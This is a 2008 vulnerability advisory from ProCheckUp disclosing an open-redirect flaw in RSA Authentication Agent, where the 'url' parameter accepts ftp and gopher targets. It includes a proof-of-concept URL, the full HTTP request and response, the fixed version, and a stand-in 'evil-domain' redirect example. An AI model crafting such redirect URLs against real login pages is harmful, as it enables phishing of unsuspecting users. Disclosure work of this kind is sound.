Vulnerabilities 2008

PR07-43 Cross-domain redirect on RSA Authentication Agent

• Advisory publicly released: Wednesday, 23 April 2008
• Vulnerability found: Wednesday, 5 December 2007
• Vendor informed: Thursday, 13 December 2007
• Severity level: Low/Medium

• Credits
  Richard Brain of ProCheckUp Ltd (www.procheckup.com). ProCheckUp thanks RSA for being so cooperative and responding so fast.
• Description
  A remote URI redirection vulnerability affects the RSA Authentication Agent. This issue is due to a failure of the application to properly sanitize URI-supplied data assigned to the 'url' parameter.
  
  An attacker may leverage this issue to carry out convincing phishing attacks against unsuspecting users by causing an arbitrary page to be loaded once a RSA Authentication Agent specially-crafted URL is visited.
  
  Although the 'url' parameter is filtered for protocol URLs such as 'http://' and 'https://', is NOT filtered for other protocols such as FTP or Gopher. An attacker could upload a spoof login page to a FTP server that allows anonymous connections where the victim would be redirected.
  
  Vulnerable server-side program: '/WebID/IISWebAgentIF.dll'
  
  Unfiltered parameter: 'url'
• Proof of concept
  Example of specially-crafted URL:
  
  https://target/WebID/IISWebAgentIF.dll?Redirect?url=ftp://bo.mirror.garr.it/pub/mirrors/Mandrake/devel/cooker/i586/index.htm
  
  COMPLETE HTTP REQUEST:
  
  GET /WebID/IISWebAgentIF.dll?Redirect?url=ftp://bo.mirror.garr.it/pub/mirrors/Mandrake/devel/cooker/i586/index.htm HTTP/1.1
  Host: target-domain.foo
  User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
  Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
  Accept-Language: en-gb,en;q=0.5
  Accept-Encoding: gzip,deflate
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  
  COMPLETE HTTP RESPONSE:
  
  HTTP/1.x 302 Object Moved
  Connection: Keep-Alive
  Content-Length: 194
  Date: Tue, 18 Dec 2007 09:35:19 GMT
  Location: ftp:/bo.mirror.garr.it/pub/mirrors/Mandrake/devel/cooker/i586/index.htm
  Content-Type: text/html
  Server: Microsoft-IIS/6.0
  X-Powered-By: ASP.NET
• How to fix
  The vendor has stated that this issue was addressed in the RSA Authentication Agent 5.3.3.378. RSA customers can download the upgrade from the RSA web site.
• Consequences
  Victim users can be redirected to third-party sites for the purpose of exploiting browser vulnerabilities or performing phishing attacks.
• BID
  28907
• Note
  the redirect will only take place in browsers which consider URLs with only one slash after the colon symbol ':' as valid when performing redirects - i.e.: "Location: ftp:/evil-domain.foo/"
• Successfully tested on
  RSA Authentication Agent 5.3.0.258 for Web for Internet Information Services in conjunction with Mozilla Firefox 2.0.0.11
• References
  

  
  http://www.procheckup.com/research/views/vulnerabilities

  
  http://www.rsa.com/node.aspx?id=2807

  
  
• Legal
  Copyright 2008 Procheckup Ltd. All rights reserved.
  
  Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.